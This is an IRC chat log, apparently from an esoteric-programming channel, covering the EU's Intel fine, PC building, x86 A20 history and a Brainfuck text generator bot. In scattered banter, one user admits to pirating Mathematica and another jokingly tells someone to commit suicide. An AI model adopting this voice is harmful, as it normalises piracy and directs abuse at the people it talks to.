Gnutella type networks than bittorrent 17:37:31 nooga: it's based on freebsd 17:37:34 if anything you should feel more secure :p 17:37:39 yeA 17:37:40 but 17:38:11 there are no such things like fishy cracks and shady warez for linux ;p 17:38:21 nooga: sure there is 17:38:28 I pirated Mathematica, you can get mathematica on Linux 17:38:37 :P 17:38:43 anyway, there aren't fishy/shady cracks/warezes on OS X; I've only seen serial keys 17:38:55 for mathematica i had to fire up a windows vm 17:43:40 ooh, the EC just fined Intel £948m 17:43:59 it's the same bunch of people who keep fining Microsoft for anticompetitive practices, it seems they think Intel has been up to much the same thing 17:44:00 ehird: what's with my home, end and del keys? 17:44:08 nooga: what about them 17:44:18 ais523: 948 million pounds ?! 17:44:34 yep, that might almost be large enough to actually make a dent 17:44:35 sheesh 17:44:37 end and home jump to end and beginning of a file 17:44:49 ais523: hell yes; Intel/AMD profits haven't been too good lately 17:45:01 Intel are apparently planning to appeal 17:45:01 i'd like s/a file/a line/ 17:45:04 Revenue▼ US$37.6 billion (2008)[1] 17:45:04 Operating income▲ US$9.0 billion (2008) 17:45:05 Net income▼ US$5.3 billion (2008) 17:45:11 ais523: hardly surprising 17:45:14 nooga: Cmd-left 17:45:15 cmd-right 17:45:17 also 17:45:20 aaaah 17:45:20 Ctrl-A, ctrl-E (from emacs) 17:45:34 and delete does not work 17:45:40 ugh, a drop from $5.3 to $3.8 or so is quite a massive dent in net income 17:45:40 nooga: which delete 17:45:43 forward or backwards 17:45:46 no wonder Intel are so annoyed 17:45:51 ais523: indeed 17:45:52 forwards 17:45:55 or on files 17:46:04 ais523: £948m is pretty damn excessive... 17:46:17 i mean, even if they are guilty 17:46:28 apparently it was for bribing manufacturers to not use AMD chips 17:46:31 unless they killed kittens or sth 17:46:56 In addition to providing rebates to manufacturers that bought almost entirely Intel products, the Commission found that the chipmaker had paid them to postpone or cancel the launch of specific products based on AMD chips. 17:47:02 ais523: it's more like "we'll cut this deal on our chips you want IF you avoid using amd chips in more than n% of your products" 17:47:03 or something like that 17:47:05 iirc 17:47:16 yep, where n% is close to 0 17:47:33 there was that case a while back where AMD gave some manufacturer loads of free chips, and they refused to use them 17:47:34 this is a pretty quick decision 17:47:40 I only heard about the case yesterday or the day before 17:47:43 -!- puzzlet has joined. 17:47:45 and the case has been going for ages 17:47:50 -!- puzzlet_ has quit (Remote closed the connection). 17:47:57 17:47 ais523: there was that case a while back where AMD gave some manufacturer loads of free chips, and they refused to use them 17:48:00 it hit the news a couple of days ago because the probable verdict leaked 17:48:01 that would suggest to me that these bribes are gigantic 17:48:24 ofc, there are other reasons to not use a load of free chips, say if it would be too expensive to redesign your machinery to install them 17:48:29 maybe they can handle the fine if they stop offering them :-) 17:48:35 heh 17:48:53 In [Commodore] PET Microsoft Basic (3000 series only), typing the command “WAIT 6502,100” will fill the screen with the text "MICROSOFT!"[5] 17:48:57 the thing I love about all these fines is that they're added to the EU tax budget 17:48:58 —wp 17:49:02 which indirectly means lower taxes for us 17:49:05 ais523: haha 17:49:09 let's fine every company! 17:49:17 → negative taxes 17:49:31 -> huh 17:49:34 only if they do something illegal 17:49:39 although, most companies do, probably 17:49:44 let's declare being a company to be illegal :| 17:49:47 and corporation tax is at about 30% or 40%, IIRC 17:49:54 (retroactively) 17:50:28 -!- Dewi has quit (Read error: 101 (Network is unreachable)). 17:50:53 I wonder why people use Intel/Nvidia and AMD/ATI and rarely other combinations (even before AMD bought ATI) 17:51:26 That's really weird, especially since for a while Nvidia made very good AMD chipsets. 17:52:15 Terrible theory: AMD seem to use more black and dark blue and red and other dark-sort-of-feeling colours in their marketing, and so does ATI. Intel is white and blue, Nvidia is light green. Perfect fits. 17:52:27 genius! 17:53:40 -!- tombom has quit ("Peace and Protection 4.22.2"). 17:53:58 "TODAY IS SO YESTERDAY." — intel.com 17:53:58 wtf? 17:54:01 http://www.intel.com/ 17:54:43 that's quite a slogan 17:54:59 Read: "the future is teh win" 17:55:05 "They would have paid their ad men more to come up with a slogan, but they've been fined a billion euros for breaching competitivity law." —friend, on seeing that 17:55:18 everything related to current events is hilarious. 17:55:54 http://www.nvidia.com/object/GeForce_3D_Vision_Main.html ← 1. Sell 3D glasses for a load of money 2. Claim it's revolutionary 3. Profit 17:56:16 ais523: The EU has been fining quite a few companies for antitrust. 17:56:28 *EC, and yes 17:56:41 To be fair, they *are* legitimate cases. 17:56:58 The US's stance on monopolies lately has resulted in a repeat of the early 1900s. ;) 17:57:13 I agree, /someone/ needs to enforce the rules 17:57:23 yay 17:57:27 And the US sure isn't. 17:57:37 -!- WangZeDong has joined. 17:57:40 from 10022 compilation errors i've got 9991 17:57:44 progress! 17:57:46 [["Copy Exactly" solves the problem of getting production facilities up to speed quickly by duplicating everything from the development plant to the volume-manufacturing plant.]] 17:57:47 Yo dawg, I herd u liek fabricators so I made a fabricator for your fabricator so you can fabricate your fabricators 17:57:52 (I suspect they've forgotten how to) 17:58:02 pikhq: There are people in the US who think that the current crisis is due to not enough people reading Ayn Rand. 17:58:12 If the free market is causing issues, clearly what we need is MORE of a free market! 17:58:17 ehird: Ayn Rand is an idiot. 17:58:37 People who agree with Ayn Rand are people who need a Darwin Award. 17:58:40 MARKET AWESOMENESS AS FREENESS INCREASES: Crap, Awful, Terrible, Unbearable, Crisis shitter, AWESOME 17:58:52 LMAO 17:59:10 "Hmm. Lack of regulation caused this. Obviously, we need to bring back Standard Oil." 18:05:03 -!- Slereah has quit (Read error: 110 (Connection timed out)). 18:14:34 is there some tool that is capable of building #include diagram ? 18:14:52 to clearly show the whole graph, what includes what 18:15:12 almost certianly 18:15:13 sed+graphviz 18:15:15 but i do't know of one 18:15:17 awk too maybe 18:15:19 ais523: *don't 18:15:30 so i am supposed to write that? 18:15:30 thanks for the correction 18:15:42 nooga: wouldn't be hard 18:15:49 i know 18:15:59 anyone remember the atari st 18:17:23 -!- Dewi has joined. 18:31:54 -!- kar8nga has joined. 18:35:15 -!- bsmntbombgirl has quit (Read error: 104 (Connection reset by peer)). 18:35:37 doxygen can, I believe 18:35:48 -!- bsmntbombgirl has joined. 18:45:54 -!- jix_ has joined. 18:47:23 -!- kar8nga has quit (Remote closed the connection). 18:52:17 -!- olsner has joined. 19:00:25 -!- jix has quit (Read error: 110 (Connection timed out)). 19:01:38 -!- WangZeDong has quit. 19:03:32 -!- Slereah has joined. 19:04:09 hi ais523 19:04:17 hi AnMaster 19:05:19 * AnMaster is trying to come up with an elegant way to merge across distance in the tree of bf instructions 19:06:16 stuff like 19:06:20 p[1]=11; 19:06:20 p[3]=0; 19:06:21 while (p[1]) { 19:06:30 // balanced loop here 19:06:34 } 19:06:55 finding that previous set to offset, and then convert into for 19:11:25 rotfl :D 19:11:47 the graph came out little.... hairy 19:12:00 nooga, what graph? 19:12:06 from graphviz 19:12:09 ah 19:12:28 how to adjust vertical distance between nodes? they're packed A BIT too tight 19:15:21 no idea (I don't use graphviz much), check man page? 19:15:28 just checked 19:15:43 i have no idea which property does it 19:32:18 :/ 19:52:08 -!- tombom has joined. 19:56:33 maybe K? 19:59:49 try it? 20:05:33 tried 20:05:35 nothing 20:05:40 ranksep helped 20:06:22 -!- asiekierka has quit. 20:08:13 wanna see the graph? :D 20:08:55 sure 20:09:04 sec 20:11:40 http://sv017.sendspace.pl/file/J2ey9Jf9/XuZGdVBByJRfdqhI/test.pdf ;D 20:13:29 cool huh? 20:15:09 So is your FACE 20:15:14 :D 20:15:15 Your face is pretty cool bro 20:15:32 Your fece is pretty cool bro 20:16:34 Do you want some 20:16:40 I can mail you my feces. 20:18:11 brb, beer 20:20:33 -!- darthnuri has joined. 20:21:08 -!- inurinternet has quit (Nick collision from services.). 20:21:12 -!- darthnuri has changed nick to inurinternet. 20:21:49 [[British pub has exploited a loophole in the country's smoking ban by opening a "smoking research centre"]] 20:21:59 SCIENCE WILL TRANSCEND FASCISM! 20:21:59 hahaha 20:28:33 -!- tombom_ has joined. 20:32:20 I think some sort of smoking-room at our university was labeled that. 20:32:21 -!- puzzlet has quit (Remote closed the connection). 20:32:25 -!- puzzlet has joined. 20:35:34 -!- GregorR-L has joined. 20:35:49 I'm on SUPERSLO public WiFi at an airport 20:36:14 coo 20:38:27 ehird: my computer's here 20:38:34 bsmntbombgirl: \o/ 20:38:47 well, my computer's here, because if it was somewhere else I couldn't IRC using it 20:38:58 bsmntbombgirl: boot it up without putting it together 20:39:03 that's something that takes real skill 20:39:09 telepathic wires in the astral plane 20:39:12 i'm mostly done 20:39:16 scared to turn it on :P 20:39:30 bsmntbombgirl: do eet 20:39:40 what sort of computer is it? 20:39:41 what os you putting on it? still undecided? :P 20:40:02 ais523: the one I assembled the parts for 20:40:06 and you may as well try out the OS it has at the moment (presumably Vista?), to see if you like it 20:40:06 to replace his crusty p4 20:40:07 if it has one on 20:40:09 none 20:40:11 ah 20:40:14 he bought it in parts' 20:40:16 s/'$// 20:40:29 well, the choice would be a Linux distro, FreeDOS if you're insane, or Windows System Builder 20:41:03 tl;dr summary: Core i7 940 @ 2.9ghz... 12GB DDR3 RAM... ancient nvidia card... Intel X25-M 80gb ssd... 1TB storage drive 20:41:41 final cost I think was $1,700 or so, right bsmntbombgirl? 20:41:53 You left out the most important detail of all: what color it is. 20:41:56 ps did you go and have another sex change? 20:42:08 fizzie: the case is the oh-so-uncommon computer colour black 20:42:11 -!- nooga has quit (Remote closed the connection). 20:42:19 Black is the new beige. 20:43:32 And beige is the new white. 20:43:33 things that confuse me: people commenting on expensive computers saying "what a waste you could buy a car with that money". why would you buy a car if you use your computer much more? 20:43:36 -!- nooga has joined. 20:43:42 (beige Apple computers in 3, 2, ...) 20:43:56 pikhq: Macs are alumininium these days. 20:44:02 ehird: These are people that use their cars more. 20:44:11 :p 20:44:16 ehird: Except iMacs. 20:44:22 yeah, about $1700 20:44:26 pikhq: no 20:44:29 the imacs are aluminium 20:44:32 and it booted! 20:44:34 ... Mac Mini? 20:44:36 since 2007? 20:44:38 bsmntbombgirl: \o/ 20:44:42 pikhq: silver-y 20:44:52 pikhq: the only white product is one of the low-end macbooks 20:44:57 bsmntbombgirl: how loud is it? 20:44:59 what graphics card, out of interest? 20:45:03 Alright. 20:45:11 Asztal: it's a really shitty passive nvidia :) 20:45:16 Aluminium is the new white. 20:45:21 hold on 20:45:22 And beige is the new aluminium! 20:45:24 well okay not that shitty 20:45:28 :p 20:45:34 -!- tombom has quit (Read error: 110 (Connection timed out)). 20:45:35 http://upload.wikimedia.org/wikipedia/commons/f/f7/PowerBook_redjar.jpg 20:45:35 -!- tombom_ has changed nick to tombom. 20:45:36 i can't believe anyone actually liked beige 20:45:36 i am switching monitor and keyboard back and forth 20:45:47 bsmntbombgirl: what did it boot in to 20:46:12 GregorR-L: yeeees? 20:46:27 Nobody liked beige. Beige was merely a convenient color. 20:46:30 ehird: Oh I'm sorry, you were talking about the modern PowerBook Pros, that's a Powerbook G4 20:46:32 and it's black 20:46:44 GregorR-L: Modern powerbook pros? 20:46:45 lol 20:46:50 You mean modern macbooks 20:46:54 Oh whatever 20:46:58 Power anything went with intel 20:47:04 bsmntbombgirl: what did it boot into? 20:47:11 You'd think I'd be able to tell that since I'm staring right at a (non-pro) MacBook X_X 20:47:29 GregorR-L? Using a mac? 20:47:33 Unpossible. 20:47:57 Ah; early computers were beige so that they wouldn't stand out in an office. 20:48:05 Back when I got the iBook, el-cheapo iBooks were white, while all really-someone people had those titanium PowerBooks. 20:48:05 So, beige was used because beige is boring. 20:48:20 heh 20:48:49 ehird: Free :P 20:50:19 bsmntbombgirl: ping 20:50:48 wut 20:50:57 bsmntbombgirl: you said it booted, what did it boot in to : 20:50:59 :p 20:51:08 bios 20:51:57 lawl 20:52:23 Wow, that's one lame definition of "booted" 20:52:36 Yeah :P 20:52:39 More accurate: POSTed 20:52:40 did you then get the no-OS error? 20:52:48 yeah 20:52:49 Insert OS and press F1. 20:52:52 ;) 20:52:56 brb other monitor 20:53:02 "THIS DISK NO OS" 20:53:32 Booting... 20:53:35 CAN HAS OS? 20:53:39 [Press F1 to continue] 20:53:53 YOU CAN'T JUST MAKE SHIT UP AND EXPECT THE COMPUTER TO MAGICALLY KNOW WHAT YOU MEAN, RETARDO! 20:53:59 [Press F1 to continue] 20:54:07 [F1] 20:54:13 Keyboard not found. 20:54:16 [Press F1 to continue] 20:54:17 (—MJD) 20:54:31 F1 key not found. 20:54:35 [Press F1 to continue] 20:54:54 Critical failure computer will explode in 15 seconds omfgrunrunrun 20:55:11 The P150 laptop I have here is sort-of mid-gray, that's not such a common color: http://www.pcrtp.com/700CDT.gif (not exactly that model, but I think it's the same housing) 20:55:12 [Press F1 to continue] 20:55:47 fizzie: Is that laptop from 1987? 20:55:54 I think 1990s. 20:55:58 ok now i have to decide what to install 20:56:00 Early 1990s :P 20:56:08 http://www.toshiba-europe.com/bv/computers/products/notebooks/tecra730cdt/index.shtm 20:56:22 1996, it says. 20:56:28 fizzie: Heavy duty. 20:56:33 "Raw speed. A 150 MHz Intel Pentium processor and PCI bus provide the kind of speed that would have been practically unthinkable in a notebook PC. Until today!" 20:56:34 "Raw speed. A 150 MHz Intel Pentium processor and PCI bus provide the kind of speed that would have been practically unthinkable in a notebook PC. Until today! Now there's the Tecra 730CDT. " 20:56:36 snap 20:56:41 Crackle, pop. 20:56:59 "Raw speed. A 150 MHz Intel Pentium processor" 20:57:01 :P 20:57:03 lawl 20:57:06 Hey guys 20:57:11 It has a 150MHz pentium! 20:57:12 The 12.1" TFT at 1024x768 resolution is essentially as good as in my iBook, though. 20:57:14 Raw speed! 20:57:19 Not even a Pentium MMX. Lawlz. 20:57:22 -!- ehird has changed nick to slowpoke. 20:57:24 -!- slowpoke has changed nick to slowpoke_. 20:57:25 ehird: Just not /much/ raw speed >_> 20:57:28 guys 20:57:29 guys 20:57:35 150MHz pentium RAW SPEED 20:57:35 am I late guys 20:57:44 (Except that with only 2 megs of video RAM, you have to degrade to 64k colors if you want the native panel resolution.) 20:57:51 -!- GregorR-L has changed nick to Egolitarian. 20:57:59 ... Is that a Pentium with the *FDIV* bug? :) 20:58:06 Yes, I think it has the bug. 20:58:09 Ha X-D 20:58:11 :D 20:58:27 -!- slowpoke_ has changed nick to ehird. 20:58:30 -!- nooga has quit (Remote closed the connection). 20:58:33 Heh, FDIV. 20:58:39 I seem to at least recall Linux kernel saying something like "FDIV bug detected, working around it" in dmesg. 20:58:53 "2160 million bytes hard disk" 20:58:54 There was a line of m68ks that didn't have an FPU, and furthermore would crash and burn horribly if you tried to use an FPU operation, even though it's supposed to just have an unsupported instruction interrupt. 20:59:04 Two thousand one hundred and sixty MILLION bytes! 20:59:05 WOW. 20:59:07 They used them it Macs, and you can't install Linux on them :P 20:59:22 http://www.toshiba-europe.com/bv/computers/navigation/left/products/page_icons/pi_tecra730cdt.gif Look at the red-faced man in the suit! 20:59:34 They certainly are proud of their big numbers. 20:59:36 "the 2.16 billion byte hard disk and 16 MB EDO RAM (expandable up to 144 MB - yes that's one hundred and forty four MB)" 20:59:43 :-D 20:59:46 YES THAT IS REALLY 144 IT BOGGLES THE MIND 20:59:51 ehird: His face is going to explode. 20:59:57 I think I have 48 MB in that thing. 21:00:05 "Lithium-ion battery Up to 3.0 hours" 21:00:11 Up to THREE HOURS of CONTINUOUS USE! 21:00:37 Also 6-speed CD-ROM drive; which is unable to read CD-RW discs; only CD-R discs work. 21:00:41 ehird: I doubt I'd get three hours of use on this (if I was compiling every version of OpenOffice in the background) 21:00:50 :-D 21:01:19 fizzie: Nice, a nearly 2G hard drive. ;) 21:01:20 a 2.16 billion byte hard disk, but only 144 MB of memory? 21:01:23 that's rather unbalanced 21:01:35 "No beep - Power supply, system board problem, disconnected cpu, or disconnected speaker, " 21:01:38 — wikipedia on POST 21:01:40 pikhq: I've replaced the original 2.16 billion byte HD with a 2G compactflash card, though. 21:01:45 ehird: haha 21:01:51 Don't blame you. 21:01:56 It actually purposefully signals no beep. 21:01:59 Very Zen. 21:02:07 You could probably stick 16G microdrive in there without too much issue. 21:02:09 -!- ais523 has quit (Read error: 104 (Connection reset by peer)). 21:02:09 Sekrit code: 21:02:10 no_beep 21:02:13 nop 21:02:16 ret 21:02:32 ehird: Spiffy. 21:02:46 "3 long beeps - 3270 keyboard card" 21:02:50 Oh shit, your system is really broken? 21:02:52 *. 21:02:54 What's wrong with it? 21:03:01 Well, y'see... it's 3270 keyboard carded. 21:03:23 ehird: A system without a keyboard controller can't enter 32-bit execution. 21:03:33 Wow :-D 21:03:34 Why? 21:03:59 Because enabling 32-bit mode involves sending a message to the keyboard controller, since that happened to have a free I/O line. 21:04:12 :D 21:04:16 the chimes of death >>>>>>>>>>>>>>>> post error beeps 21:04:46 bsmntbombgirl: how's your new system working? fried it yet? 21:05:47 Oh, god... 21:06:16 pikhq: wat 21:07:06 That's right: to enter 32-bit execution, you send a signal to the keyboard controller to *get it to stop hogging the 21st address line*. 21:07:49 :-D 21:08:30 And modern motherboards merely emulate that behavior, because 386 motherboards did it.\ 21:08:35 You don't have to actually implement a full keyboard controller, you can do a system which has enough of the framework in place so that the A20 line.. 21:08:37 Right. 21:09:11 God, i686-pc-* is such a screwy architecture. 21:12:23 And the whole possibility of disabling the A20 line (forcing that bit 0) was there because they wanted the 286 to be backwards-compatible for some dirty DOS programs that assumed the memory to wrap-around when it went past 1 MB, since the original 8086 didn't have that many address lines. 21:13:07 So it's cludge after cludge. 21:13:27 haha jesus 21:13:27 I'm pretty sure Nehalems are entirely backwards compatible to the original x86. 21:13:38 It's rather entrenched. 21:13:43 bah 21:13:47 bsmntbombgirl: bah? 21:13:51 I'm surprised they're not backwards-compatible with the original 4004 :P 21:13:59 i just used windows for about 5 minutes 21:14:01 that was terrible 21:14:02 Egolitarian: IA32 only. :-P 21:14:05 bsmntbombgirl: ... why?! 21:14:05 Egolitarian: The 8086 wasn't backwards-compatible. 21:14:16 this computer doesn't have a cd burner 21:14:16 THIS IS CALLED A JOKE 21:14:21 PLEASE LEARN WHAT THAT MEANS 21:14:22 ehird: IA16, you mean. 21:14:26 bsmntbombgirl: what os did you brun 21:14:29 pikhq: True enough. 21:14:39 i'm downloading freebsd 21:14:41 well, no pikhq. 21:14:53 You can't run IA16 code on IA32/AMD64 machines. 21:14:56 Afaik. 21:15:02 bsmntbombgirl: masochist :) 21:15:04 Yes, you can. 21:15:11 pikhq: huh 21:15:16 It is in fact necessary. 21:15:18 FreeBSD. Are you sure you want to do that? See: http://isometric.sixsided.org/strips/the_power_of_freebsd/ 21:15:21 there's nothing wrong with windows, don't be silly. 21:15:27 tombom: ... 21:15:30 The processor starts in real mode, which is... IA16. 21:15:31 tombom: I will now shoot you. 21:15:39 tombom: I suggest suicide to avoid trauma. 21:15:42 pikhq: oh ofc 21:15:45 The processor goes into IA32 from there. 21:15:47 heh 21:16:06 also bsmntbombgirl: what fizzie said. 21:16:13 i've wiped out planets just installing bsd. 21:17:28 You cannot run 16-bit real-mode code while in 64-bit mode. 21:17:30 But you can no longer run 16-bit code when the processor is in the native x64-64 "long mode", which is a pity. Well, at least the "virtual 8086" mode is gone from that, anyway. 21:17:37 Guys 21:17:39 Gah, why do I always conflict with people. 21:17:42 you can't run 16 bit code 21:17:44 in 64 bit mode 21:17:45 did you know? 21:17:56 Yes. I never said you could. 21:18:07 I said that a Nehalem could still execute 16-bit code. 21:18:12 But the processor can run 16-bit code, just not while in 64-bit mode. 21:18:17 But guys 21:18:23 You can't run, when in 64-bit long mode, 21:18:26 16-bit code, 21:18:30 .............................................. 21:18:30 on a modern IA32/AMD64. 21:18:32 Did you know? 21:18:37 Guys, did you know that 21:18:42 Ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis 21:18:44 -ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis- 21:18:47 -ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis ellipsis- 21:18:48 -dot. 21:18:50 IA32 is a different architecture from AMD64. 21:18:53 IA32 is a 32-bit architecture. 21:18:55 I did know that, it's why edlin was removed from x64 windows :( 21:18:56 pikhq: Thus the slash. 21:19:09 And you can run 16-bit code on modern IA32. 21:19:12 not that I use edlin, but I just feel like it should be there 21:19:15 Asztal: edlin was removed because ellipsis ellipsis ellipsis ell- 21:19:16 ? 21:19:26 You can even run it on modern x86_64, just not in long mode. 21:19:35 Asztal: And yet, ed is still available for equally-stupid people on Unixen :P 21:19:40 it's the oldest program in windows and they just remove it like that 21:19:42 Hey! I've used ed. 21:19:47 It's easy. 21:19:51 ? 21:19:51 And fruitful, sometimes. 21:19:55 21:19 Egolitarian: Asztal: And yet, ed is still available for equally-stupid people on Unixen :P 21:20:10 "Although seldom used in modern times, Edlin may sometimes be used as an Edlin-script interpreter, in environments where no other editors exist. Scripts may look like Edlin command sequences and they may be run as: 21:20:11 edlin < script" 21:20:11 Egolitarian: ed is about as old as ls. It's not ever going away. :p 21:20:16 They also removed DEBUG.COM from Windows 7. (I'm not sure what's the status of that in x64 windows; don't have any.) 21:20:16 If no other editors exist, how did they create script? 21:20:24 edlin was the oldest? 21:20:26 I've used edbrowse 21:20:31 I haven't seen ed used in a script in a very long time. 21:20:35 Deewiant: I think so. 21:20:44 ehird: edlin can be used on its own. 21:20:47 !bf_txtgen abcde 21:20:49 47 ++++++++++++[>++++++++>+>><<<<-]>+.+.+.+.+.>--. [52] 21:20:54 pikhq: Yeah, but it's a silly way to say it :P 21:20:55 !bf_txtgen abcde 21:20:57 Wow, that was a good ending. 21:20:57 47 ++++++++++++[>++++++++>+>><<<<-]>+.+.+.+.+.>--. [208] 21:21:10 !bf_txtgen abcde 21:21:10 !bf_txtgen abcde 21:21:11 !bf_txtgen abcde 21:21:14 X_X 21:21:16 47 +++++++++[>+++++++++++>+>><<<<-]>--.+.+.+.+.>+. [68] 21:21:17 47 +++++++++++[>+++++++++>+>><<<<-]>--.+.+.+.+.>-. [92] 21:21:17 47 ++++++++[>++++++++++++>+>><<<<-]>+.+.+.+.+.>++. [124] 21:21:20 maybe we can optamaze out the >><< 21:21:25 Yes, YOU can. 21:21:29 ehird, it runs too few iterations for it 21:21:31 :-) 21:21:31 :P 21:21:41 interesting 21:21:56 two different, equally long solutions 21:22:04 (That's what she said) 21:22:21 ;)))))) 21:22:54 The amount of cells to use (and therefore > !info 21:23:05 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 21:23:27 odd, where the hell did I put the checkout of egobot 21:23:28 36 ++++++++++++[>++++++++<-]>+.+.+.+.+. [1] 21:23:34 That's with -t 1. 21:23:46 ah found it 21:24:04 fizzie: do -t 1000 21:24:28 ehird: It'll probably just use a single cell and do a 999-character >>...>><<...<<. 21:24:31 bsmntbombgirl: so, how much did the 12GB of ram speed up the post 21:24:36 :-P 21:24:52 that thing takes up like a gajillion point four bytes of ram! 21:24:54 -t 40 ends up in: 21:24:55 114 ++++++++++++[>++++++++>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>+.+.+.+.+. [1316] 21:25:02 laaaaaaaaaaawl 21:25:19 brb 21:25:22 that's sad 21:25:40 ehird: wut 21:25:55 Out of immense curiosity, why doesn't that evolutionary algorithm use that for an upper-bound, rather than exactly what it'll use? 21:26:09 You'd have to ask squidman. 21:26:44 * pikhq asks him with in the library with a monkey wrench 21:26:50 !bf_txtgen abcde 21:26:53 47 +++++++++++[>+++++++++>+>><<<<-]>--.+.+.+.+.>-. [251] 21:27:06 !bf_txtgen 1234 21:27:09 38 ++++++++++[>+++++>+>><<<<-]>-.+.+.+.>. [95] 21:27:09 hm 21:27:09 I guess it's easier to do crossover when the structures of the programs are so very similar. 21:27:15 why isn't -t1 default then 21:27:39 ... Because it's inefficient for all but some special cases? 21:27:55 27 +++++++[>+++++++<-]>.+.+.+. [1] 21:27:59 Yes; for sensible strings 4 seems to be rather sensible. 21:28:00 is the best it come up with for 1234 21:29:00 what does the -t one do really 21:29:07 "terms" it says 21:29:14 but what are "terms" here 21:29:29 damnit, why can't you find a live cd when you need one 21:29:29 The number of cells it uses. 21:29:32 ah 21:29:35 That's pretty obvious from the outputs. 21:29:52 fizzie, can't it evolve that too? 21:30:01 it's just another parameter after all 21:30:15 Oh, I'm sure it's *possible*; it just doesn't do it. 21:31:06 Like I said, it's probably a fixed number of terms so that it's easier to do a crossover mixture of two programs. (Though that's still just a guess; I didn't write it, after all.) 21:31:57 $ java textgen -p 2 'Hello, World!' 21:32:00 Exception in thread "main" java.lang.IllegalArgumentException: n must be positive 21:32:00 at java.util.Random.nextInt(Random.java:250) 21:32:00 at textgen.main(textgen.java:180) 21:32:03 huh? 21:32:47 anything below 10 in population results in that 21:33:19 It should complain earlier. 21:33:28 My version has for -p: 21:33:31 population = Integer.parseInt(cmdline[n + 1]); 21:33:31 if (terms < 2) { 21:33:31 System.out.println("Must have population of at least 10."); 21:33:42 " if (terms < 2)" 21:33:44 um 21:33:45 Er, I guess that test is botched. :p 21:33:48 yeah 21:33:59 I have the copy from EgoBot's source 21:34:17 This is probably the same. 21:34:32 Anyway, it needs at least 10 because (by default) it keeps the top 10 % of the programs for next generation. 21:34:57 Though that's the "-%" parameter; and it doesn't test for -p+-% combined-sensibility at all., 21:35:07 3 21:35:30 !bf_txtgen To be or not to be that is the question. 21:35:32 283 ++++++++++++++[>++++++>++++++++>++>++++++++<<<<-]>.>>>-.<++++.<<++++++++++++++.+++.>>.>.+++.<.<--.+.>>++.<.>.<<.>.<<---.+++.>>.>.<<<+++.-------.>+++++.>.<<++++++++.>-.>.<+.------------.---.>.<<++++++++.++++.>.<--.+.>++++.++++++.-.>++++++++++++++.------------------------------------. [862] 21:36:22 ooh, even has loops 21:36:25 well, one 21:36:31 all do 21:36:32 -_- 21:36:47 226 ++++++++++++++[>++++++>+++++++>++>++++++++<<<<-]>.>>>-.<++++.<.+++.>.>.+++.<.>----.+.+++++.<.>.-----.<.<<++++++++++++++.>.>.>+++++.<<+++.<-.>>>.<.<+.>>-.<.>+.<<-.<++++.>>.<+++++++++.++++.<.>--.+.<++++.>-----.-.>++++++++++++++. [18913] 21:36:52 is the best I got locally for it 21:37:00 well. You could just increment/decrement indiscriminately 21:37:05 It always has one loop. 21:37:13 it could have more than one I think 21:37:17 !bf_txtgen ababababa 21:37:20 55 ++++++++++++[>++++++++>+>><<<<-]>+.+.-.+.-.+.-.+.-.>--. [391] 21:37:26 hm 21:37:34 !bf_txtgen azazazazazaz 21:37:37 74 ++++++++++++[>>++++++++>++++++++++>+<<<<-]>>+.>++.<.>.<.>.<.>.<.>.<.>.>--. [205] 21:37:38 The program is always "p0 = N; p1 .. pT = N*(k1 .. kT); print things using the p1 .. pN numbers, sometime with +/- as needed." 21:37:39 perhaps if you recognized patterns. Keeping track of the variations and number of times to repeat might be cumbersome though 21:38:20 Er, the p1 .. pT numbers. 21:39:25 The Individual.getCode method is responsible for generating it; it is physically unable to generate more than just that one loop. 21:39:45 !bf_txtgen !bf_txtgen 21:39:47 109 +++++++++++[>+++>+++++++++>+++++++++>+<<<<-]>.>-.>+++.<---.+++++++++++++++++++++.++++.----.>+.--.<------.>>-. [845] 21:40:32 99 ++++++++++++++[>++>+++++++>++++++++>+++++++<<<<-]>+++++.>.++++.>>---.<++++.++++.----.<+.--.>------. [5697] 21:40:33 hm 21:40:34 I assume it would take too long to just generally evolve an arbitrary brainfuck program to print out the desired string. 21:40:41 fizzie, probably 21:40:48 mmmmmmm 21:43:00 !bf +++++++++++++[>++++++++>+++++++++<<-]>--.>.-------.<+.>+.+++++. 21:43:00 fungot 21:43:04 mhm 21:43:25 still, a simple folding pass over the string afterwards could remove those extra >><< 21:45:25 !bf_txtgen 01234567890 21:45:28 60 ++++++++++[>+>+++++>+++++><<<<-]>>--.+.>.+.+.+.+.+.+.+.<-.<. [171] 21:45:35 !bf_txtgen 123456789 21:45:37 48 ++++++++++[>+++++>+>><<<<-]>-.+.+.+.+.+.+.+.+.>. [242] 21:46:11 oh it adds a newline 21:46:37 !bf_txtgen åäö 21:46:40 84 +++++++++++++++[>+++++++++++++>+++++++++++>+><<<<-]>.>.<.>-.<.-------------.>>-----. [166] 21:46:54 !bf_txtgen € 21:46:57 84 +++++++++++++[>+++++++++++++++++>++++++++++>+++++++++++++>+<<<<-]>+++++.>.>+++.>---. [32] 21:47:25 Hm, € needs 3 bytes in UTF-8? Well, I guess the currency symbols are pretty high up there. 21:47:27 !bf_txtgen €123456789 21:47:30 134 +++++++++++++[>+++++++++++++++++>++++++++++>++++>+<<<<-]>+++++.>.++++++++++++++++++++++++++++++++++++++++++.>---.+.+.+.+.+.+.+.+.>---. [580] 21:47:33 hm 21:47:46 that's odd 21:47:55 it gave me a 800+ char long string for that here 21:47:59 with the ending newline 21:48:09 at 937 gens 21:48:35 err, 8000+ even 21:48:51 It is a bit random. Though that large a gap sounds unlikely. Maybe it got encoding-confused or something. 21:48:56 wait 21:49:06 more than 255 + after each other makes no snese 21:49:08 sense* 21:49:16 unless the java here interprets it as unicode 21:49:17 :D 21:49:22 yes I think it did 21:49:42 -!- Egolitarian has quit (Read error: 110 (Connection timed out)). 21:49:56 fizzie, http://rafb.net/p/jw47TY16.html 21:49:57 It might. € is at something past 0x2000, which is 8192 decimal. 21:50:16 hm 21:50:40 yes 21:50:47 when reading from a file it gives sensible results 21:50:50 Java's native character encoding is UTF-16, and I'm guessing it's using the platform default (hopefully LC_CTYPE, though I have no idea if it is locale-aware at all) to interpret the command line arguments. 21:50:55 but not when passing it on command line 21:51:14 fizzie, LC_CTYPE=sv_SE.UTF-8 21:51:33 GregorR, that is a bf_txtgen bug! 21:51:40 You could try it with 